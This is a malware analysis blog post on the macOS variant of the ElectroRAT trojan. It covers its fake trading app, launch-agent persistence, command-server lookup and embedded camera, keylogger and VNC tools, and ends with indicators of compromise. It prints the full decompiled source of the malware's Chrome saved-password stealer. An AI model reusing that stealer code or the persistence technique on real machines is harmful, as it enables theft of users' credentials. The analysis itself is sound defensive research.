I’ve added the samples (ElectroRAT) to our malware collection (password: infect3d)
…please don’t infect yourself!
Not one week into 2021, and we’ve got the first new malware affecting macOS: ElectroRat
!
ElectroRAT
is a cross-platform RAT, uncovered by Intezer:
"we discovered a wide-ranging operation targeting cryptocurrency users, estimated to have initiated in January 2020. This extensive operation is composed of a full-fledged marketing campaign, custom cryptocurrency-related applications and a new Remote Access Tool (RAT) written from scratch."
[its main goal appears to] ...steal personal information from cryptocurrency users" -Intezer
…it’s a must read!
In terms of it’s infection vector, Intezer noted:
"These [malicous] applications were promoted in cryptocurrency and blockchain-related forums such as bitcointalk and SteemCoinPan. The promotional posts, published by fake users, tempted readers to browse the applications’ web pages, where they could download the application without knowing they were actually installing malware." -Intezer
As the Intezer report predominantly focused on the Windows variant of the malware, let’s build upon their researcher, diving deeper into the macOS variant (OSX.ElectroRAT
).
The Intezer shared an the hash of a disk image (.dmg) containing the macOS variant of ElectoRAT
.
With a SHA-1 of 2795ca35847cecb543f713b773d87c089a6a38ba
, we can grab this from VirusTotal …noting its name (eTrader-0.1.0_mchos.dmg
) and the fact that detections aren’t that good (yet):
Once we download the disk image (eTrader-0.1.0_mchos.dmg
), we can mount it via the hdiutil
command:
% hdiutil attach ElectroRat/eTrader-0.1.0_mchos.dmg expected CRC32 $6C68ADDC /dev/disk2 GUID_partition_scheme /dev/disk2s1 Apple_HFS /Volumes/eTrader 0.1.0
It mounts to /Volumes/eTrader 0.1.0
, and contains a single application, eTrader.app
:
Via WhatsYourSign
, we can see this application is not notarized nor signed …meaning it won’t (easily) run on recent versions of macOS:
Often triaging an application, I manually poke around via the terminal. However, a new (free!) app named Apparency (from the developers of Suspicious Package), offers a way to statically explore applications via the UI:
On the right-hand side of the Apparency window, we see various information about the application, such as the identifier (app.com.trader
) and a (fake) copyright notice ((c) 2020 John Doe
).
Let’s take a peak at the applications Info.plist
:
$ defaults read /Volumes/eTrader\ 0.1.0/eTrader.app/Contents/Info.plist { AsarIntegrity = "{\\"checksums\\":{\\"app.asar\\":\\"kpsG1Z5PL...6vpzzhTLQ==\\"}}"; BuildMachineOSBuild = 17D102; CFBundleDisplayName = eTrader; CFBundleExecutable = eTrader; CFBundleIdentifier = "app.com.trader"; ... DTSDKBuild = "10.13"; DTSDKName = "macosx10.13"; DTXcode = 0941; DTXcodeBuild = 9F2000; ... NSCameraUsageDescription = "This app needs access to the camera"; NSHighResolutionCapable = 1; NSHumanReadableCopyright = "Copyright \\U00a9 2020 John Doe"; NSMainNibFile = MainMenu; NSMicrophoneUsageDescription = "This app needs access to the microphone"; NSPrincipalClass = AtomApplication; ... }
The presence of the AsarIntegrity
key/value pair indicate its built via Electron.
Electon is, “a framework for creating native applications with web technologies like JavaScript, HTML, and CSS.”
To learn more about Electon, head over to:
Other key/value pairs of interest include NSCameraUsageDescription
and NSMicrophoneUsageDescription
which indicate the application may request permission to access camera and microphone.
If we examine the application bundle in Finder, we notice a non-standard folder, Contents/Utils
which contains a single file: mdworker
:
Via the file
command, we can ascertain that mdworker
a standard 64-bit Mach-O executable:
$ file /Volumes/eTrader\ 0.1.0/eTrader.app/Contents/Utils/mdworker /Volumes/eTrader 0.1.0/eTrader.app/Contents/Utils/mdworker: Mach-O 64-bit executable x86_64
…as we’ll see, this appears to be core (malicious) component of OSX.ElectroRAT
Let’s pop into a virtual machine and run the malware (eTrader.app
). But first, let’s install some free, open-source dynamic analysis tools, including:
ProcessMonitor
Our user-mode (open-source) utility that monitors process creations and terminations, providing detailed information about such events.
FileMonitor
Our user-mode (open-source) utility monitors file events (such as creation, modifications, and deletions) providing detailed information about such events.
Netiquette
Our (open-source) network monitor.
When launched (in a VM), eTrader.app
shows an innocuous looking sign-in window:
…but in the background, our passive dynamic analysis tools readily detect malicious behavior.
First off (via the ProcessMonitor), we see that the application (who’s pid is 1350
) executes the Utils/mdworker
binary (via bash
):
# ProcessMonitor.app/Contents/MacOS/ProcessMonitor -pretty { "event" : "ES_EVENT_TYPE_NOTIFY_EXEC", "process" : { ... "uid" : 501, "arguments" : [ "/bin/sh", "-c", "/Users/user/Desktop/eTrader.app/Contents/Utils/mdworker" ], "ppid" : 1350, "architecture" : "Intel", "path" : "/bin/sh", "name" : "sh", "pid" : 1355 } }
Once off and running, our FileMonitor captures the Utils/mdworker
copying itself to ~/.mdworker
:
# FileMonitor.app/Contents/MacOS/FileMonitor -pretty { "event" : "ES_EVENT_TYPE_NOTIFY_CREATE", "file" : { "destination" : "/Users/user/.mdworker", "process" : { "uid" : 501, "arguments" : [ "/bin/sh", "-c", "/Users/user/Desktop/eTrader.app/Contents/Utils/mdworker" ], "ppid" : 1350, "architecture" : "Intel", "path" : "/Users/user/Desktop/eTrader.app/Contents/Utils/mdworker", "name" : "mdworker", "pid" : 1351 } } }
The mdworker
binary then creates a launch agent plist, ~/Library/LaunchAgents/mdworker.plist
:
# FileMonitor.app/Contents/MacOS/FileMonitor -pretty { "event" : "ES_EVENT_TYPE_NOTIFY_CREATE", "file" : { "destination" : "/Users/user/Library/LaunchAgents/mdworker.plist", "process" : { "uid" : 501, "arguments" : [ "/bin/sh", "-c", "/Users/user/Desktop/eTrader.app/Contents/Utils/mdworker" ], "ppid" : 1350, "architecture" : "Intel", "path" : "/Users/user/Desktop/eTrader.app/Contents/Utils/mdworker", "name" : "mdworker", "pid" : 1351 } } }
As expected, the launch agent plist (mdworker.plist
) references the .mdworker
binary:
% cat ~/Library/LaunchAgents/mdworker.plistLabel mdworker ProgramArguments /Users/user/.mdworker RunAtLoad
Also, worth noting, as the RunAtLoad
is set to true
the OS will automatically (re)launch the malware each time the user (re)logs in.
Now that OSX.ElectroRAT
has persisted, what does it do? In a Twitter thread, Avigayil (the security researcher at Intezer) notes that the malware, “queries a raw pastebin page to retrieve the C&C IP address”:
[2/7] Upon execution, ElectroRAT queries a raw pastebin page to retrieve the C&C IP address. The malware then calls the registerUser function, which creates and sends a user registration Post request to the C&C. pic.twitter.com/r98bbVThs3
— Avigayil Mechtinger (@AbbyMCH) January 5, 2021
Via Wireshark, we can confirm the macOS variant of ElectroRAT
performs these same actions. First querying pastebin:
…and then once the address of the command and control server (213.226.100.140
) is retrieved, connects out (with some basic information about infected machine):
Once the malware has checked in with the command and control server, it acts upon any (remote) tasking:
[5/7] Commands received from the C&C are parsed by the RAT using corresponding functions before sending a message back with the response. The commands are sent as a json structure with the following keys: type, uid and data for additional parameters needed for the command. pic.twitter.com/7Y2A70Ha9g
— Avigayil Mechtinger (@AbbyMCH) January 5, 2021
Avigayil also notes that:
"The attacker uses go-bindata to embed additional binaries within the malware"
In a disassembler, we can search for strings (_main.static_darwin*
) to uncover what may be (statically) embedded binaries, specific to the macOS (darwin) variant:
…so, how to extract these embedded binaries? Well thanks to Avigayil, we know they are embedded via go-bindata
. This in an open-source project (on Github), that:
"converts any file into manageable Go source code.
...useful for embedding binary data into a Go program. The file data is optionally gzip compressed" -go-bindata
So, we know the binaries are embedded and (likely) gzip compressed.
Hopping back to the disassembler, let’s first find the embedded (gzipped) binary data(s) (…we’ll use the embedded webcam capture binary, as an example).
As noted, the malware contains various functions named main.static_darwin*
, that seem relevant to the embedded binary data. Looking at the main.static_darwinCam_macos
function (at 0x0000000004395bf0
) we find a cross-reference to a variable named _main._static_darwinCam_maco
(note the _
in the _static
) that’s passed as an argument to a function named main.bindataRead
:
1_main.static_darwinCam_macos:
2 ...
3 ; argument #3 for method _main.bindataRead
4 0x0000000004395c2d mov rdx, qword [_main._static_darwinCam_macos]
5 ...
6 0x0000000004395c57 call main.bindataRead
The main._static_darwinCam_macos
variable is located at 0x0000000004d3f190
…and contains a pointer 0x0000000004800760
0x0000000004d3f190 dq 0x0000000004800760
Heading over to 0x0000000004800760
(offset 0x800760
in the file) we find gzip’d data:
gzip’d data begins with a two byte signature: 0x1F 0x8B. Following is a another byte, indicating the compression method. The most common value for this 3rd byte is 0x08 (DEFLATE).
Hooray, we’ve found the embedded compressed binary data for the (web)camera binary.
To extract out the embedded bytes, I put together a super simple python script that simply open the malware’s binary, goes to the offset of the embedded data, and writes it said out to disk. As the /usr/bin/gzip
utility (that we’ll use to decompress the extracted data), ignores extra/trailer bytes, we don’t have to care about getting the length of the compressed data write. As such, we take the lazy approach and just write out all the embedded data from the (start) offset in the malicious binary, to the end.
1import sys
2import gzip
3
4f = open(sys.argv[1], 'rb')
5f.seek(int(sys.argv[2], 16), 0)
6
7o = open("extractedData.gz", 'wb')
8o.write(f.read())
9
10o.close()
11f.close()
Executing the above script with the path to the malware (mdworker
) and the offset (of the embedded cam binary data, 0x800760
) will extract and write out the compressed bytes to extractedData.gz
. This file can then be decompressed with the gzip
utility:
% python extract.py mdworker 800760 % gzip -d extracted.gz gzip: extracted.gz: trailing garbage ignored % file extracted extracted: Mach-O universal binary with 2 architectures: [x86_64:Mach-O 64-bit executable x86_64] [i386:Mach-O executable i386]
Woohoo, we’ve now got a Mach-O binary!
We repeat the process for each of the main.static_darwin*
symbols. Which gets us several other Mach-O binaries …and a “Apple Desktop Services Store” (DS_Store) file:
% file * darwinCam: Mach-O universal binary with 2 architectures: [x86_64:Mach-O executable x86_64] [i386:Mach-O executable i386] darwinChrome: Mach-O 64-bit executable x86_64 darwinDs_store: Apple Desktop Services Store darwinKeylogger: Mach-O 64-bit executable x86_64 darwinVnc: Mach-O 64-bit executable x86_64
Let’s briefly triage these (now extracted) binaries
darwinCam
(SHA1: 7e0a289572c2b3ef5482dded6019f51f35f85456
):
Appears to be a ImageSnap
…a well-known (open-source) commandline utility for capturing images via the infected device’s camera:
./darwinCam -h USAGE: ./darwinCam [options] [filename] Version: 0.2.5 Captures an image from a video device and saves it in a file. If no device is specified, the system default will be used. If no filename is specfied, snapshot.jpg will be used. Supported image types: JPEG, TIFF, PNG, GIF, BMP -h This help message -v Verbose mode -l List available video devices -t x.xx Take a picture every x.xx seconds -q Quiet mode. Do not output any text -w x.xx Warmup. Delay snapshot x.xx seconds after turning on camera -d device Use named video device
darwinChrome
(SHA1: 4bb418ba9833cd416fd02990b8c8fd4fa8c11c0c
):
Via embedded strings, we can determine that the darwinChrome
was packaged up with PyInstaller
. As such can use the pyinstxtractor utility, to extract (unpackage) its contents:
$ python pyinstxtractor.py darwinChrome [+] Processing darwinChrome [+] Pyinstaller version: 2.1+ [+] Python version: 27 [+] Length of package: 5155779 bytes [+] Found 109 files in CArchive [+] Beginning extraction...please standby [+] Possible entry point: pyiboot01_bootstrap.pyc [+] Possible entry point: Apple.pyc [+] Found 335 files in PYZ archive [+] Successfully extracted pyinstaller archive: darwinChrome
Apple.pyc
. Via an online decompiler we can then recover Apple.pyc
’s Python source code:
1# uncompyle6 version 3.5.0
2# Python bytecode 2.7 (62211)
3# Decompiled from: Python 2.7.5 (default, Aug 7 2019, 00:51:29)
4# [GCC 4.8.5 20150623 (Red Hat 4.8.5-39)]
5# Embedded file name: Apple.py
6"""
7Get unencrypted 'Saved Password' from Google Chrome
8
9Example:
10 >>> import ChromePasswd
11 >>> chrome_pwd = ChromePasswd()
12 >>> print chrome_pwd.get_login_db
13 /Users/x899/Library/Application Support/Google/Chrome/Default/
14
15 >>> chrome_pwd.get_pass(prettyprint=True)
16 {
17 "data": [
18 {
19 "url": "https://x899.com/",
20 "username": "admin",
21 "password": "secretP@$$w0rD"
22 },
23 {
24 "url": "https://accounts.google.com/",
25 "username": "x899@gmail.com",
26 "password": "@n04h3RP@$$m0rC1"
27 }
28 ]
29 }
30
31TO DO:
32 * Cookie support
33 * Update database Password directly
34
35"""
36import platform
37from getpass import getuser
38from shutil import copy
39import sqlite3
40from os import unlink
41import json
42from importlib import import_module
43import string, sys, subprocess, glob, os
44
45class ChromePasswd(object):
46 """ Main ChromePasswd Class """
47
48 def __init__(self):
49 """ Constructor: determine target platform """
50 self.target_os = platform.system()
51 if self.target_os == 'Darwin':
52 self.mac_init()
53 elif self.target_os == 'Windows':
54 self.win_init()
55 elif self.target_os == 'Linux':
56 self.linux_init()
57
58 def import_libraries(self):
59 """ import libraries based on underlying platform """
60 try:
61 if self.target_os == 'Darwin':
62 globals()['AES'] = import_module('Crypto.Cipher.AES')
63 globals()['KDF'] = import_module('Crypto.Protocol.KDF')
64 globals()['subprocess'] = import_module('subprocess')
65 elif self.target_os == 'Windows':
66 globals()['win32crypt'] = import_module('win32crypt')
67 elif self.target_os == 'Linux':
68 globals()['AES'] = import_module('Crypto.Cipher.AES')
69 globals()['KDF'] = import_module('Crypto.Protocol.KDF')
70 except ImportError as err:
71 print ('[-] Error: {}').format(str(err))
72 sys.exit()
73
74 def linux_init(self):
75 """ Linux Initialization Function """
76 self.import_libraries()
77 my_pass = ('peanuts').encode('utf8')
78 iterations = 1
79 salt = 'saltysalt'
80 length = 16
81 self.key = KDF.PBKDF2(my_pass, salt, length, iterations)
82 self.dbpath = ('/home/{}/.config/google-chrome/Default/').format(getuser())
83 self.decrypt_func = self.nix_decrypt
84
85 def mac_init(self):
86 """ Mac Initialization Function """
87 self.import_libraries()
88 my_pass = subprocess.Popen("security find-generic-password -wa 'Chrome'", stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
89 stdout, _ = my_pass.communicate()
90 my_pass = stdout.replace('\n', '')
91 iterations = 1003
92 salt = 'saltysalt'
93 length = 16
94 self.key = KDF.PBKDF2(my_pass, salt, length, iterations)
95 loginData = glob.glob('%s/Library/Application Support/Google/Chrome/Profile*/' % os.path.expanduser('~'))
96 if len(loginData) == 0:
97 loginData = glob.glob('%s/Library/Application Support/Google/Chrome/Default/' % os.path.expanduser('~'))
98 self.dbpath = loginData[0]
99 self.decrypt_func = self.nix_decrypt
100
101 def nix_decrypt(self, enc_passwd):
102 """
103 Linux and Mac's decryption function
104
105 :paran enc_passwd: encrypted password
106 :return: decrypted password
107 """
108 initialization_vector = ' '
109 enc_passwd = enc_passwd[3:]
110 cipher = AES.new(self.key, AES.MODE_CBC, IV=initialization_vector)
111 decrypted = cipher.decrypt(enc_passwd)
112 return decrypted.strip().decode('utf8')
113
114 def win_init(self):
115 """ Windows Initialization Function """
116 self.import_libraries()
117 self.dbpath = ('C:\\Users\\{}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\').format(getuser())
118 self.decrypt_func = self.win_decrypt
119
120 def win_decrypt(self, enc_passwd):
121 """
122 Window's decryption function
123
124 :paran enc_passwd: encrypted password
125 :return: decrypted password
126 """
127 data = win32crypt.CryptUnprotectData(enc_passwd, None, None, None, 0)
128 return data[1]
129
130 @property
131 def get_login_db(self):
132 """ getting "Login Data" sqlite database path """
133 return self.dbpath
134
135 def get_pass(self, prettyprint=False):
136 """
137 Getting URL, username and password in clear text
138
139 :param prettyprint: if it is True, output dictionary will be
140 printed on the screen
141 :return: clear text data in dictionary format
142 """
143 copy(self.dbpath + 'Login Data', 'Login Data.db')
144 conn = sqlite3.connect('Login Data.db')
145 cursor = conn.cursor()
146 cursor.execute('SELECT action_url, username_value, password_value\n FROM logins')
147 data = {'data': []}
148 for result in cursor.fetchall():
149 _passwd = self.decrypt_func(result[2])
150 passwd = ('').join(i for i in _passwd if i in string.printable)
151 if result[1] or passwd:
152 _data = {}
153 _data['url'] = result[0]
154 _data['username'] = result[1]
155 _data['password'] = passwd
156 data['data'].append(_data)
157
158 conn.close()
159 unlink('Login Data.db')
160 if prettyprint:
161 print json.dumps(data, indent=4)
162 return data
163
164
165def main():
166 """ Operational Script """
167 chrome_pwd = ChromePasswd()
168 chrome_pwd.get_pass(prettyprint=True)
169
170
171if __name__ == '__main__':
172 main()
darwinKeylogger
(SHA1: 3bcbfc40371c8d96f94b5a5d7c83264d22b0f57b
):
This binary appears to be a basic macOS keylogger based on the open-source Swift-Keylogger project (that (ab)uses IOHIDManagerCreate
/ IOHIDManagerRegisterInputValueCallback
).
Note that on recent versions of macOS, this requires explicit user approval:
darwinVnc
(SHA1: 872da05c137e69617e16992146ebc08da3a9f58f
):
This binary appears to the well known OSXvnc
, a “robust, full-featured VNC server for MacOS X”:
./darwinVnc -h Available options: -rfbport port TCP port for RFB protocol (0=autodetect first open port 5900-5909) -rfbwait time Maximum time in ms to wait for RFB client -rfbnoauth Run the server without password protection -rfbauth passwordFile Use this password file for VNC authentication (use 'storepasswd' to create a password file) -rfbpass Supply a password directly to the server ...
Avigayil sums this up well:
"ElectroRAT is extremely intrusive.
...it has various capabilities such as keylogging, downloading files and executing commands on the victim's console."
Good news, though this malware is brand new, several of our free (open-source) macOS security tools readily can detect and alert on it’s malicious behaviors.
For example, when OSX.ElectroRAT
persists, BlockBlock can alert you of this fact:
…while our firewall, LuLu will block and alert on the malware’s unauthorized network connections:
In terms of static IOCs, the presences of the following files may indicated an OSX.ElectroRAT
infection:
~/.mdworker
~/Library/LaunchAgents/mdworker.plist
Looks like 2021 will be another year filled with Mac malware!
In this blog post, we analyzed the new;y discovered ElectroRAT
. Focusing on the macOS version, we detailed its:
If this blog posts pique your interest, definitely check out my new book on the topic of Mac Malware Analysis: “The Art Of Mac Malware: Analysis”. It’s free online, and new content is regularly added!